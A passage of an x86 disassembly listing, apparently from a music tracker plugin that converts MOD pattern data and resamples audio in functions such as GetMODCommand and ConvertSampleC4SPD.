00008: 082B 89 5E 08 MOV DWORD PTR 00000008[ESI], EBX
00008: 082E 8B 44 24 18 MOV EAX, DWORD PTR 00000018[ESP]
00008: 0832 8A 44 07 2D MOV AL, BYTE PTR 0000002D[EDI][EAX]
00008: 0836 88 46 0C MOV BYTE PTR 0000000C[ESI], AL
00008: 0839 8B 44 24 18 MOV EAX, DWORD PTR 00000018[ESP]
00008: 083D 0F B6 4C 07 2C MOVZX ECX, BYTE PTR 0000002C[EDI][EAX]
00008: 0842 83 E1 0F AND ECX, 0000000F
00008: 0845 8B 84 8C 00000250 MOV EAX, DWORD PTR 00000250[ESP][ECX*4]
00008: 084C 66 89 46 0E MOV WORD PTR 0000000E[ESI], AX
00008: 0850 C6 46 10 00 MOV BYTE PTR 00000010[ESI], 00
00008: 0854 C6 46 11 08 MOV BYTE PTR 00000011[ESI], 08
00008: 0858 C6 46 12 00 MOV BYTE PTR 00000012[ESI], 00
00008: 085C FF B4 24 000002B0 PUSH DWORD PTR 000002B0[ESP]
00008: 0863 8B 06 MOV EAX, DWORD PTR 00000000[ESI]
00008: 0865 50 PUSH EAX
00008: 0866 E8 00000000 CALL SHORT ?MADPlugNewPtr@@YAPADJPAUMADDriverSettings@@@Z
00008: 086B 59 POP ECX
00008: 086C 59 POP ECX
00008: 086D 89 46 34 MOV DWORD PTR 00000034[ESI], EAX
00008: 0870 8B 4E 34 MOV ECX, DWORD PTR 00000034[ESI]
00008: 0873 85 C9 TEST ECX, ECX
00008: 0875 75 0E JNE L001D
00008: 0877 83 C8 FFFFFFFF OR EAX, FFFFFFFF
00000: 087A 81 C4 00000290 ADD ESP, 00000290
00000: 0880 5D POP EBP
00000: 0881 5F POP EDI
00000: 0882 5E POP ESI
00000: 0883 5B POP EBX
00000: 0884 C3 RETN
00000: 0885 ALIGN 00000010, 00000008
00008: 0885 L001D:
00008: 0885 8B 16 MOV EDX, DWORD PTR 00000000[ESI]
00008: 0887 52 PUSH EDX
00008: 0888 0F BF 44 24 48 MOVSX EAX, WORD PTR 00000048[ESP]
00008: 088D 8B 5C 84 54 MOV EBX, DWORD PTR 00000054[ESP][EAX*4]
00008: 0891 53 PUSH EBX
00008: 0892 51 PUSH ECX
00008: 0893 E8 00000000 CALL SHORT _memcpy
00008: 0898 83 C4 0C ADD ESP, 0000000C
00008: 089B 03 1E ADD EBX, DWORD PTR 00000000[ESI]
00008: 089D 3B 5C 24 1C CMP EBX, DWORD PTR 0000001C[ESP]
00008: 08A1 76 1E JBE L001E
00008: 08A3 68 00000000 PUSH OFFSET @715
00008: 08A8 E8 00000000 CALL SHORT ?DebugStr@@YAXPAE@Z
00008: 08AD 59 POP ECX
00008: 08AE EB 11 JMP L001E
00000: 08B0 ALIGN 00000010, 00000008
00008: 08B0 L001C:
00008: 08B0 8B 9D 00000324 MOV EBX, DWORD PTR 00000324[EBP]
00008: 08B6 8B 44 24 30 MOV EAX, DWORD PTR 00000030[ESP]
00008: 08BA 66 C7 44 03 24 0000 MOV WORD PTR 00000024[EBX][EAX], 0000
00008: 08C1 L001E:
00008: 08C1 81 44 24 30 0000012C ADD DWORD PTR 00000030[ESP], 0000012C
00008: 08C9 83 44 24 18 1E ADD DWORD PTR 00000018[ESP], 0000001E
00008: 08CE FF 44 24 44 INC DWORD PTR 00000044[ESP]
00008: 08D2 66 8B 44 24 44 MOV AX, WORD PTR 00000044[ESP]
00008: 08D7 66 3B 44 24 4A CMP AX, WORD PTR 0000004A[ESP]
00008: 08DC 0F 8C FFFFFDB6 JL L001A
00008: 08E2 L0019:
00008: 08E2 31 F6 XOR ESI, ESI
00008: 08E4 31 C9 XOR ECX, ECX
00000: 08E6 ALIGN 00000010, 00000008
00008: 08E6 L001F:
00008: 08E6 89 F2 MOV EDX, ESI
00008: 08E8 C1 E2 06 SHL EDX, 00000006
00008: 08EB 8B 85 00000324 MOV EAX, DWORD PTR 00000324[EBP]
00008: 08F1 66 89 54 08 22 MOV WORD PTR 00000022[EAX][ECX], DX
00008: 08F6 89 F7 MOV EDI, ESI
00008: 08F8 47 INC EDI
00008: 08F9 C1 E7 06 SHL EDI, 00000006
00008: 08FC 89 F0 MOV EAX, ESI
00008: 08FE 40 INC EAX
00008: 08FF 0F BF D8 MOVSX EBX, AX
00008: 0902 6B DB 4B IMUL EBX, EBX, 0000004B
00008: 0905 8B 85 00000324 MOV EAX, DWORD PTR 00000324[EBP]
00008: 090B 66 89 7C 98 22 MOV WORD PTR 00000022[EAX][EBX*4], DI
00008: 0910 8D 56 02 LEA EDX, DWORD PTR 00000002[ESI]
00008: 0913 C1 E2 06 SHL EDX, 00000006
00008: 0916 8D 46 02 LEA EAX, DWORD PTR 00000002[ESI]
00008: 0919 0F BF F8 MOVSX EDI, AX
00008: 091C 6B FF 4B IMUL EDI, EDI, 0000004B
00008: 091F 8B 85 00000324 MOV EAX, DWORD PTR 00000324[EBP]
00008: 0925 66 89 54 B8 22 MOV WORD PTR 00000022[EAX][EDI*4], DX
00008: 092A 8D 5E 03 LEA EBX, DWORD PTR 00000003[ESI]
00008: 092D C1 E3 06 SHL EBX, 00000006
00008: 0930 8D 46 03 LEA EAX, DWORD PTR 00000003[ESI]
00008: 0933 0F BF D0 MOVSX EDX, AX
00008: 0936 6B D2 4B IMUL EDX, EDX, 0000004B
00008: 0939 8B 85 00000324 MOV EAX, DWORD PTR 00000324[EBP]
00008: 093F 66 89 5C 90 22 MOV WORD PTR 00000022[EAX][EDX*4], BX
00008: 0944 8D 7E 04 LEA EDI, DWORD PTR 00000004[ESI]
00008: 0947 C1 E7 06 SHL EDI, 00000006
00008: 094A 8D 46 04 LEA EAX, DWORD PTR 00000004[ESI]
00008: 094D 0F BF D8 MOVSX EBX, AX
00008: 0950 6B DB 4B IMUL EBX, EBX, 0000004B
00008: 0953 8B 85 00000324 MOV EAX, DWORD PTR 00000324[EBP]
00008: 0959 66 89 7C 98 22 MOV WORD PTR 00000022[EAX][EBX*4], DI
00008: 095E 8D 56 05 LEA EDX, DWORD PTR 00000005[ESI]
00008: 0961 C1 E2 06 SHL EDX, 00000006
00008: 0964 8D 46 05 LEA EAX, DWORD PTR 00000005[ESI]
00008: 0967 0F BF F8 MOVSX EDI, AX
00008: 096A 6B FF 4B IMUL EDI, EDI, 0000004B
00008: 096D 8B 85 00000324 MOV EAX, DWORD PTR 00000324[EBP]
00008: 0973 66 89 54 B8 22 MOV WORD PTR 00000022[EAX][EDI*4], DX
00008: 0978 8D 5E 06 LEA EBX, DWORD PTR 00000006[ESI]
00008: 097B C1 E3 06 SHL EBX, 00000006
00008: 097E 8D 46 06 LEA EAX, DWORD PTR 00000006[ESI]
00008: 0981 0F BF D0 MOVSX EDX, AX
00008: 0984 6B D2 4B IMUL EDX, EDX, 0000004B
00008: 0987 8B 85 00000324 MOV EAX, DWORD PTR 00000324[EBP]
00008: 098D 66 89 5C 90 22 MOV WORD PTR 00000022[EAX][EDX*4], BX
00008: 0992 8D 7E 07 LEA EDI, DWORD PTR 00000007[ESI]
00008: 0995 C1 E7 06 SHL EDI, 00000006
00008: 0998 8D 46 07 LEA EAX, DWORD PTR 00000007[ESI]
00008: 099B 0F BF D8 MOVSX EBX, AX
00008: 099E 6B DB 4B IMUL EBX, EBX, 0000004B
00008: 09A1 8B 85 00000324 MOV EAX, DWORD PTR 00000324[EBP]
00008: 09A7 66 89 7C 98 22 MOV WORD PTR 00000022[EAX][EBX*4], DI
00008: 09AC 81 C1 00000960 ADD ECX, 00000960
00008: 09B2 83 C6 08 ADD ESI, 00000008
00008: 09B5 66 81 FE 00F7 CMP SI, 00F7
00008: 09BA 0F 8C FFFFFF26 JL L001F
00008: 09C0 89 F2 MOV EDX, ESI
00008: 09C2 C1 E2 06 SHL EDX, 00000006
00008: 09C5 0F BF FE MOVSX EDI, SI
00008: 09C8 6B FF 4B IMUL EDI, EDI, 0000004B
00008: 09CB 8B 85 00000324 MOV EAX, DWORD PTR 00000324[EBP]
00008: 09D1 66 89 54 B8 22 MOV WORD PTR 00000022[EAX][EDI*4], DX
00008: 09D6 89 F3 MOV EBX, ESI
00008: 09D8 43 INC EBX
00008: 09D9 C1 E3 06 SHL EBX, 00000006
00008: 09DC 89 F0 MOV EAX, ESI
00008: 09DE 40 INC EAX
00008: 09DF 0F BF D0 MOVSX EDX, AX
00008: 09E2 6B D2 4B IMUL EDX, EDX, 0000004B
00008: 09E5 8B 85 00000324 MOV EAX, DWORD PTR 00000324[EBP]
00008: 09EB 66 89 5C 90 22 MOV WORD PTR 00000022[EAX][EDX*4], BX
00008: 09F0 8D 4E 02 LEA ECX, DWORD PTR 00000002[ESI]
00008: 09F3 C1 E1 06 SHL ECX, 00000006
00008: 09F6 8D 46 02 LEA EAX, DWORD PTR 00000002[ESI]
00008: 09F9 0F BF F8 MOVSX EDI, AX
00008: 09FC 6B FF 4B IMUL EDI, EDI, 0000004B
00008: 09FF 8B 85 00000324 MOV EAX, DWORD PTR 00000324[EBP]
00008: 0A05 66 89 4C B8 22 MOV WORD PTR 00000022[EAX][EDI*4], CX
00008: 0A0A 8D 5E 03 LEA EBX, DWORD PTR 00000003[ESI]
00008: 0A0D C1 E3 06 SHL EBX, 00000006
00008: 0A10 8D 46 03 LEA EAX, DWORD PTR 00000003[ESI]
00008: 0A13 0F BF D0 MOVSX EDX, AX
00008: 0A16 6B D2 4B IMUL EDX, EDX, 0000004B
00008: 0A19 8B 85 00000324 MOV EAX, DWORD PTR 00000324[EBP]
00008: 0A1F 66 89 5C 90 22 MOV WORD PTR 00000022[EAX][EDX*4], BX
00008: 0A24 8D 4E 04 LEA ECX, DWORD PTR 00000004[ESI]
00008: 0A27 C1 E1 06 SHL ECX, 00000006
00008: 0A2A 8D 46 04 LEA EAX, DWORD PTR 00000004[ESI]
00008: 0A2D 0F BF F8 MOVSX EDI, AX
00008: 0A30 6B FF 4B IMUL EDI, EDI, 0000004B
00008: 0A33 8B 85 00000324 MOV EAX, DWORD PTR 00000324[EBP]
00008: 0A39 66 89 4C B8 22 MOV WORD PTR 00000022[EAX][EDI*4], CX
00008: 0A3E 8D 5E 05 LEA EBX, DWORD PTR 00000005[ESI]
00008: 0A41 C1 E3 06 SHL EBX, 00000006
00008: 0A44 8D 46 05 LEA EAX, DWORD PTR 00000005[ESI]
00008: 0A47 0F BF D0 MOVSX EDX, AX
00008: 0A4A 6B D2 4B IMUL EDX, EDX, 0000004B
00008: 0A4D 8B 85 00000324 MOV EAX, DWORD PTR 00000324[EBP]
00008: 0A53 66 89 5C 90 22 MOV WORD PTR 00000022[EAX][EDX*4], BX
00008: 0A58 8D 4E 06 LEA ECX, DWORD PTR 00000006[ESI]
00008: 0A5B C1 E1 06 SHL ECX, 00000006
00008: 0A5E 83 C6 06 ADD ESI, 00000006
00008: 0A61 0F BF FE MOVSX EDI, SI
00008: 0A64 6B FF 4B IMUL EDI, EDI, 0000004B
00008: 0A67 8B 85 00000324 MOV EAX, DWORD PTR 00000324[EBP]
00008: 0A6D 66 89 4C B8 22 MOV WORD PTR 00000022[EAX][EDI*4], CX
00008: 0A72 31 D2 XOR EDX, EDX
00000: 0A74 ALIGN 00000010, 00000008
00008: 0A74 L0020:
00008: 0A74 0F BF C2 MOVSX EAX, DX
00008: 0A77 C7 84 84 0000015000000000 MOV DWORD PTR 00000150[ESP][EAX*4], 00000000
00008: 0A82 C7 84 84 000001D000000000 MOV DWORD PTR 000001D0[ESP][EAX*4], 00000000
00008: 0A8D C7 84 84 0000015400000000 MOV DWORD PTR 00000154[ESP][EAX*4], 00000000
00008: 0A98 C7 84 84 000001D400000000 MOV DWORD PTR 000001D4[ESP][EAX*4], 00000000
00008: 0AA3 C7 84 84 0000015800000000 MOV DWORD PTR 00000158[ESP][EAX*4], 00000000
00008: 0AAE C7 84 84 000001D800000000 MOV DWORD PTR 000001D8[ESP][EAX*4], 00000000
00008: 0AB9 C7 84 84 0000015C00000000 MOV DWORD PTR 0000015C[ESP][EAX*4], 00000000
00008: 0AC4 C7 84 84 000001DC00000000 MOV DWORD PTR 000001DC[ESP][EAX*4], 00000000
00008: 0ACF C7 84 84 0000016000000000 MOV DWORD PTR 00000160[ESP][EAX*4], 00000000
00008: 0ADA C7 84 84 000001E000000000 MOV DWORD PTR 000001E0[ESP][EAX*4], 00000000
00008: 0AE5 C7 84 84 0000016400000000 MOV DWORD PTR 00000164[ESP][EAX*4], 00000000
00008: 0AF0 C7 84 84 000001E400000000 MOV DWORD PTR 000001E4[ESP][EAX*4], 00000000
00008: 0AFB C7 84 84 0000016800000000 MOV DWORD PTR 00000168[ESP][EAX*4], 00000000
00008: 0B06 C7 84 84 000001E800000000 MOV DWORD PTR 000001E8[ESP][EAX*4], 00000000
00008: 0B11 C7 84 84 0000016C00000000 MOV DWORD PTR 0000016C[ESP][EAX*4], 00000000
00008: 0B1C C7 84 84 000001EC00000000 MOV DWORD PTR 000001EC[ESP][EAX*4], 00000000
00008: 0B27 83 C2 08 ADD EDX, 00000008
00008: 0B2A 66 83 FA 40 CMP DX, 0040
00008: 0B2E 0F 8C FFFFFF40 JL L0020
00008: 0B34 C7 44 24 0C 00000000 MOV DWORD PTR 0000000C[ESP], 00000000
00008: 0B3C E9 00000236 JMP L0021
00000: 0B41 ALIGN 00000010, 00000008
00008: 0B41 L0022:
00008: 0B41 FF B4 24 000002B0 PUSH DWORD PTR 000002B0[ESP]
00008: 0B48 0F B6 83 00000125 MOVZX EAX, BYTE PTR 00000125[EBX]
00008: 0B4F C1 E0 06 SHL EAX, 00000006
00008: 0B52 8D 04 40 LEA EAX, DWORD PTR 00000000[EAX][EAX*2]
00008: 0B55 01 C0 ADD EAX, EAX
00008: 0B57 83 C0 30 ADD EAX, 00000030
00008: 0B5A 50 PUSH EAX
00008: 0B5B E8 00000000 CALL SHORT ?MADPlugNewPtrClear@@YAPADJPAUMADDriverSettings@@@Z
00008: 0B60 59 POP ECX
00008: 0B61 59 POP ECX
00008: 0B62 0F BF 4C 24 0C MOVSX ECX, WORD PTR 0000000C[ESP]
00008: 0B67 89 4C 24 04 MOV DWORD PTR 00000004[ESP], ECX
00008: 0B6B 89 44 8D 04 MOV DWORD PTR 00000004[EBP][ECX*4], EAX
00008: 0B6F 89 C8 MOV EAX, ECX
00008: 0B71 8B 7C 85 04 MOV EDI, DWORD PTR 00000004[EBP][EAX*4]
00008: 0B75 85 FF TEST EDI, EDI
00008: 0B77 75 0E JNE L0023
00008: 0B79 83 C8 FFFFFFFF OR EAX, FFFFFFFF
00000: 0B7C 81 C4 00000290 ADD ESP, 00000290
00000: 0B82 5D POP EBP
00000: 0B83 5F POP EDI
00000: 0B84 5E POP ESI
00000: 0B85 5B POP EBX
00000: 0B86 C3 RETN
00000: 0B87 ALIGN 00000010, 00000008
00008: 0B87 L0023:
00008: 0B87 C7 07 00000040 MOV DWORD PTR 00000000[EDI], 00000040
00008: 0B8D 8B 44 24 04 MOV EAX, DWORD PTR 00000004[ESP]
00008: 0B91 8B 44 85 04 MOV EAX, DWORD PTR 00000004[EBP][EAX*4]
00008: 0B95 C7 40 04 4E4F4E45 MOV DWORD PTR 00000004[EAX], 4E4F4E45
00008: 0B9C 31 DB XOR EBX, EBX
00000: 0B9E 89 C0 ALIGN 00000010, 00000008
00008: 0BA0 L0024:
00008: 0BA0 0F BF D3 MOVSX EDX, BX
00008: 0BA3 8B 44 24 04 MOV EAX, DWORD PTR 00000004[ESP]
00008: 0BA7 8B 44 85 04 MOV EAX, DWORD PTR 00000004[EBP][EAX*4]
00008: 0BAB C6 44 10 08 00 MOV BYTE PTR 00000008[EAX][EDX], 00
00008: 0BB0 89 D9 MOV ECX, EBX
00008: 0BB2 41 INC ECX
00008: 0BB3 0F BF F1 MOVSX ESI, CX
00008: 0BB6 8B 44 24 04 MOV EAX, DWORD PTR 00000004[ESP]
00008: 0BBA 8B 44 85 04 MOV EAX, DWORD PTR 00000004[EBP][EAX*4]
00008: 0BBE C6 44 30 08 00 MOV BYTE PTR 00000008[EAX][ESI], 00
00008: 0BC3 8D 7B 02 LEA EDI, DWORD PTR 00000002[EBX]
00008: 0BC6 0F BF D7 MOVSX EDX, DI
00008: 0BC9 8B 44 24 04 MOV EAX, DWORD PTR 00000004[ESP]
00008: 0BCD 8B 44 85 04 MOV EAX, DWORD PTR 00000004[EBP][EAX*4]
00008: 0BD1 C6 44 10 08 00 MOV BYTE PTR 00000008[EAX][EDX], 00
00008: 0BD6 8D 4B 03 LEA ECX, DWORD PTR 00000003[EBX]
00008: 0BD9 0F BF F1 MOVSX ESI, CX
00008: 0BDC 8B 44 24 04 MOV EAX, DWORD PTR 00000004[ESP]
00008: 0BE0 8B 44 85 04 MOV EAX, DWORD PTR 00000004[EBP][EAX*4]
00008: 0BE4 C6 44 30 08 00 MOV BYTE PTR 00000008[EAX][ESI], 00
00008: 0BE9 8D 7B 04 LEA EDI, DWORD PTR 00000004[EBX]
00008: 0BEC 0F BF D7 MOVSX EDX, DI
00008: 0BEF 8B 44 24 04 MOV EAX, DWORD PTR 00000004[ESP]
00008: 0BF3 8B 44 85 04 MOV EAX, DWORD PTR 00000004[EBP][EAX*4]
00008: 0BF7 C6 44 10 08 00 MOV BYTE PTR 00000008[EAX][EDX], 00
00008: 0BFC 83 C3 05 ADD EBX, 00000005
00008: 0BFF 66 83 FB 14 CMP BX, 0014
00008: 0C03 7C FFFFFF9B JL L0024
00008: 0C05 8B 44 24 04 MOV EAX, DWORD PTR 00000004[ESP]
00008: 0C09 8B 74 85 04 MOV ESI, DWORD PTR 00000004[EBP][EAX*4]
00008: 0C0D C7 46 28 00000000 MOV DWORD PTR 00000028[ESI], 00000000
00008: 0C14 8B 44 85 04 MOV EAX, DWORD PTR 00000004[EBP][EAX*4]
00008: 0C18 C7 40 2C 00000000 MOV DWORD PTR 0000002C[EAX], 00000000
00008: 0C1F C7 44 24 08 00000000 MOV DWORD PTR 00000008[ESP], 00000000
00000: 0C27 ALIGN 00000010, 00000008
00008: 0C27 L0025:
00008: 0C27 C7 04 24 00000000 MOV DWORD PTR 00000000[ESP], 00000000
00008: 0C2E E9 0000011A JMP L0026
00000: 0C33 ALIGN 00000010, 00000008
00008: 0C33 L0027:
00008: 0C33 8B 44 24 04 MOV EAX, DWORD PTR 00000004[ESP]
00008: 0C37 8B 44 85 04 MOV EAX, DWORD PTR 00000004[EBP][EAX*4]
00008: 0C3B 50 PUSH EAX
00008: 0C3C 8B 4C 24 04 MOV ECX, DWORD PTR 00000004[ESP]
00008: 0C40 51 PUSH ECX
00008: 0C41 8B 44 24 10 MOV EAX, DWORD PTR 00000010[ESP]
00008: 0C45 50 PUSH EAX
00008: 0C46 E8 00000000 CALL SHORT _GetMADCommand
00008: 0C4B 83 C4 0C ADD ESP, 0000000C
00008: 0C4E 89 C7 MOV EDI, EAX
00008: 0C50 FF 74 24 3C PUSH DWORD PTR 0000003C[ESP]
00008: 0C54 8B 45 00 MOV EAX, DWORD PTR 00000000[EBP]
00008: 0C57 0F B6 90 00000125 MOVZX EDX, BYTE PTR 00000125[EAX]
00008: 0C5E 52 PUSH EDX
00008: 0C5F 8B 44 24 14 MOV EAX, DWORD PTR 00000014[ESP]
00008: 0C63 50 PUSH EAX
00008: 0C64 8B 5C 24 0C MOV EBX, DWORD PTR 0000000C[ESP]
00008: 0C68 53 PUSH EBX
00008: 0C69 8B 44 24 18 MOV EAX, DWORD PTR 00000018[ESP]
00008: 0C6D 50 PUSH EAX
00008: 0C6E E8 00000000 CALL SHORT ?GetMODCommand@@YAPAUMODCom@@FFFFPAD@Z
00008: 0C73 83 C4 14 ADD ESP, 00000014
00008: 0C76 89 C6 MOV ESI, EAX
00008: 0C78 3B 74 24 1C CMP ESI, DWORD PTR 0000001C[ESP]
00008: 0C7C 76 0B JBE L0028
00008: 0C7E 68 00000000 PUSH OFFSET @716
00008: 0C83 E8 00000000 CALL SHORT ?DebugStr@@YAXPAE@Z
00008: 0C88 59 POP ECX
00008: 0C89 L0028:
00008: 0C89 0F B6 4E 02 MOVZX ECX, BYTE PTR 00000002[ESI]
00008: 0C8D C1 F9 04 SAR ECX, 00000004
00008: 0C90 8A 06 MOV AL, BYTE PTR 00000000[ESI]
00008: 0C92 24 10 AND AL, 10
00008: 0C94 08 C1 OR CL, AL
00008: 0C96 88 0F MOV BYTE PTR 00000000[EDI], CL
00008: 0C98 0F B6 06 MOVZX EAX, BYTE PTR 00000000[ESI]
00008: 0C9B 0F B7 C0 MOVZX EAX, AX
00008: 0C9E 83 E0 0F AND EAX, 0000000F
00008: 0CA1 C1 E0 08 SHL EAX, 00000008
00008: 0CA4 0F B6 56 01 MOVZX EDX, BYTE PTR 00000001[ESI]
00008: 0CA8 01 D0 ADD EAX, EDX
00008: 0CAA 50 PUSH EAX
00008: 0CAB E8 00000000 CALL SHORT ?FoundNote@@YAFF@Z
00008: 0CB0 59 POP ECX
00008: 0CB1 88 47 01 MOV BYTE PTR 00000001[EDI], AL
00008: 0CB4 80 7F 01 FFFFFFFF CMP BYTE PTR 00000001[EDI], FFFFFFFF
00008: 0CB8 75 20 JNE L0029
00008: 0CBA 8A 0F MOV CL, BYTE PTR 00000000[EDI]
00008: 0CBC 84 C9 TEST CL, CL
00008: 0CBE 74 1A JE L0029
00008: 0CC0 0F BF 14 24 MOVSX EDX, WORD PTR 00000000[ESP]
00008: 0CC4 0F B6 C1 MOVZX EAX, CL
00008: 0CC7 3B 84 94 00000150 CMP EAX, DWORD PTR 00000150[ESP][EDX*4]
00008: 0CCE 74 0A JE L0029
00008: 0CD0 8A 84 94 000001D0 MOV AL, BYTE PTR 000001D0[ESP][EDX*4]
00008: 0CD7 88 47 01 MOV BYTE PTR 00000001[EDI], AL
00008: 0CDA L0029:
00008: 0CDA 8A 4F 01 MOV CL, BYTE PTR 00000001[EDI]
00008: 0CDD 80 F9 FFFFFFFF CMP CL, FFFFFFFF
00008: 0CE0 74 0E JE L002A
00008: 0CE2 0F BF 1C 24 MOVSX EBX, WORD PTR 00000000[ESP]
00008: 0CE6 0F B6 C1 MOVZX EAX, CL
00008: 0CE9 89 84 9C 000001D0 MOV DWORD PTR 000001D0[ESP][EBX*4], EAX
00008: 0CF0 L002A:
00008: 0CF0 8A 17 MOV DL, BYTE PTR 00000000[EDI]
00008: 0CF2 84 D2 TEST DL, DL
00008: 0CF4 74 0E JE L002B
00008: 0CF6 0F BF 0C 24 MOVSX ECX, WORD PTR 00000000[ESP]
00008: 0CFA 0F B6 C2 MOVZX EAX, DL
00008: 0CFD 89 84 8C 00000150 MOV DWORD PTR 00000150[ESP][ECX*4], EAX
00008: 0D04 L002B:
00008: 0D04 8A 46 02 MOV AL, BYTE PTR 00000002[ESI]
00008: 0D07 24 0F AND AL, 0F
00008: 0D09 88 47 02 MOV BYTE PTR 00000002[EDI], AL
00008: 0D0C 80 7F 02 0A CMP BYTE PTR 00000002[EDI], 0A
00008: 0D10 75 0A JNE L002C
00008: 0D12 80 7E 03 00 CMP BYTE PTR 00000003[ESI], 00
00008: 0D16 75 04 JNE L002C
00008: 0D18 C6 47 02 00 MOV BYTE PTR 00000002[EDI], 00
00008: 0D1C L002C:
00008: 0D1C 80 7F 02 0C CMP BYTE PTR 00000002[EDI], 0C
00008: 0D20 75 1E JNE L002D
00008: 0D22 8A 46 03 MOV AL, BYTE PTR 00000003[ESI]
00008: 0D25 04 10 ADD AL, 10
00008: 0D27 88 47 04 MOV BYTE PTR 00000004[EDI], AL
00008: 0D2A 80 7F 03 50 CMP BYTE PTR 00000003[EDI], 50
00008: 0D2E 76 04 JBE L002E
00008: 0D30 C6 47 04 50 MOV BYTE PTR 00000004[EDI], 50
00008: 0D34 L002E:
00008: 0D34 C6 47 02 00 MOV BYTE PTR 00000002[EDI], 00
00008: 0D38 C6 47 03 00 MOV BYTE PTR 00000003[EDI], 00
00008: 0D3C EB 0C JMP L002F
00000: 0D3E 89 C0 ALIGN 00000010, 00000008
00008: 0D40 L002D:
00008: 0D40 8A 46 03 MOV AL, BYTE PTR 00000003[ESI]
00008: 0D43 88 47 03 MOV BYTE PTR 00000003[EDI], AL
00008: 0D46 C6 47 04 FFFFFFFF MOV BYTE PTR 00000004[EDI], FFFFFFFF
00008: 0D4A L002F:
00008: 0D4A FF 04 24 INC DWORD PTR 00000000[ESP]
00008: 0D4D L0026:
00008: 0D4D 8B 55 00 MOV EDX, DWORD PTR 00000000[EBP]
00008: 0D50 0F B6 9A 00000125 MOVZX EBX, BYTE PTR 00000125[EDX]
00008: 0D57 0F BF 04 24 MOVSX EAX, WORD PTR 00000000[ESP]
00008: 0D5B 39 D8 CMP EAX, EBX
00008: 0D5D 0F 8C FFFFFED0 JL L0027
00008: 0D63 FF 44 24 08 INC DWORD PTR 00000008[ESP]
00008: 0D67 66 83 7C 24 08 40 CMP WORD PTR 00000008[ESP], 0040
00008: 0D6D 0F 8C FFFFFEB4 JL L0025
00008: 0D73 FF 44 24 0C INC DWORD PTR 0000000C[ESP]
00008: 0D77 L0021:
00008: 0D77 8B 5D 00 MOV EBX, DWORD PTR 00000000[EBP]
00008: 0D7A 8A 93 00000124 MOV DL, BYTE PTR 00000124[EBX]
00008: 0D80 0F B6 CA MOVZX ECX, DL
00008: 0D83 0F BF 44 24 0C MOVSX EAX, WORD PTR 0000000C[ESP]
00008: 0D88 39 C8 CMP EAX, ECX
00008: 0D8A 0F 8C FFFFFDB1 JL L0022
00008: 0D90 0F B6 DA MOVZX EBX, DL
00008: 0D93 66 81 FB 00C8 CMP BX, 00C8
00008: 0D98 7D 19 JGE L0030
00000: 0D9A 8D 80 00000000 ALIGN 00000010, 00000008
00008: 0DA0 L0031:
00008: 0DA0 0F BF D3 MOVSX EDX, BX
00008: 0DA3 C7 44 95 04 00000000 MOV DWORD PTR 00000004[EBP][EDX*4], 00000000
00008: 0DAB 43 INC EBX
00008: 0DAC 66 81 FB 00C8 CMP BX, 00C8
00008: 0DB1 7C FFFFFFED JL L0031
00008: 0DB3 L0030:
00008: 0DB3 31 C0 XOR EAX, EAX
00000: 0DB5 L0000:
00000: 0DB5 81 C4 00000290 ADD ESP, 00000290
00000: 0DBB 5D POP EBP
00000: 0DBC 5F POP EDI
00000: 0DBD 5E POP ESI
00000: 0DBE 5B POP EBX
00000: 0DBF C3 RETN
Function: ?ConvertSampleC4SPD@@YAJPADJFJ0J@Z
00000: 0000 53 PUSH EBX
00000: 0001 56 PUSH ESI
00000: 0002 57 PUSH EDI
00000: 0003 55 PUSH EBP
00000: 0004 83 EC 30 SUB ESP, 00000030
00000: 0007 8B 74 24 44 MOV ESI, DWORD PTR 00000044[ESP]
00000: 000B 8B 6C 24 4C MOV EBP, DWORD PTR 0000004C[ESP]
00000: 000F 8B 5C 24 54 MOV EBX, DWORD PTR 00000054[ESP]
00008: 0013 89 F1 MOV ECX, ESI
00008: 0015 89 DF MOV EDI, EBX
00008: 0017 8B 44 24 58 MOV EAX, DWORD PTR 00000058[ESP]
00008: 001B 3B 44 24 50 CMP EAX, DWORD PTR 00000050[ESP]
00008: 001F 0F 8E 0000025E JLE L0001
00008: 0025 8B 44 24 48 MOV EAX, DWORD PTR 00000048[ESP]
00008: 0029 0F AF 44 24 58 IMUL EAX, DWORD PTR 00000058[ESP]
00008: 002E 99 CDQ
00008: 002F F7 7C 24 50 IDIV DWORD PTR 00000050[ESP]
00008: 0033 89 44 24 2C MOV DWORD PTR 0000002C[ESP], EAX
00008: 0037 66 83 FD 08 CMP BP, 0008
00008: 003B 0F 85 00000123 JNE L0002
00008: 0041 31 C9 XOR ECX, ECX
00008: 0043 85 C0 TEST EAX, EAX
00008: 0045 0F 8E 000004D4 JLE L0003
00008: 004B 89 44 24 20 MOV DWORD PTR 00000020[ESP], EAX
00008: 004F 83 44 24 20 FFFFFFF8 ADD DWORD PTR 00000020[ESP], FFFFFFF8
00008: 0054 83 7C 24 2C 08 CMP DWORD PTR 0000002C[ESP], 00000008
00008: 0059 0F 8E 000000D7 JLE L0004
00008: 005F C7 44 24 08 00000000 MOV DWORD PTR 00000008[ESP], 00000000
00008: 0067 8B 44 24 50 MOV EAX, DWORD PTR 00000050[ESP]
00008: 006B 89 44 24 24 MOV DWORD PTR 00000024[ESP], EAX
00008: 006F C1 64 24 24 03 SHL DWORD PTR 00000024[ESP], 00000003
00000: 0074 ALIGN 00000010, 00000008
00008: 0074 L0005:
00008: 0074 8B 44 24 08 MOV EAX, DWORD PTR 00000008[ESP]
00008: 0078 99 CDQ
00008: 0079 F7 7C 24 58 IDIV DWORD PTR 00000058[ESP]
00008: 007D 8A 04 06 MOV AL, BYTE PTR 00000000[ESI][EAX]
00008: 0080 88 04 0B MOV BYTE PTR 00000000[EBX][ECX], AL
00008: 0083 89 C8 MOV EAX, ECX
00008: 0085 40 INC EAX
00008: 0086 0F AF 44 24 50 IMUL EAX, DWORD PTR 00000050[ESP]
00008: 008B 99 CDQ
00008: 008C F7 7C 24 58 IDIV DWORD PTR 00000058[ESP]
00008: 0090 89 CA MOV EDX, ECX
00008: 0092 42 INC EDX
00008: 0093 8A 04 06 MOV AL, BYTE PTR 00000000[ESI][EAX]
00008: 0096 88 04 13 MOV BYTE PTR 00000000[EBX][EDX], AL
00008: 0099 8D 41 02 LEA EAX, DWORD PTR 00000002[ECX]
00008: 009C 0F AF 44 24 50 IMUL EAX, DWORD PTR 00000050[ESP]
00008: 00A1 99 CDQ
00008: 00A2 F7 7C 24 58 IDIV DWORD PTR 00000058[ESP]
00008: 00A6 8D 69 02 LEA EBP, DWORD PTR 00000002[ECX]
00008: 00A9 8A 04 06 MOV AL, BYTE PTR 00000000[ESI][EAX]
00008: 00AC 88 04 2B MOV BYTE PTR 00000000[EBX][EBP], AL
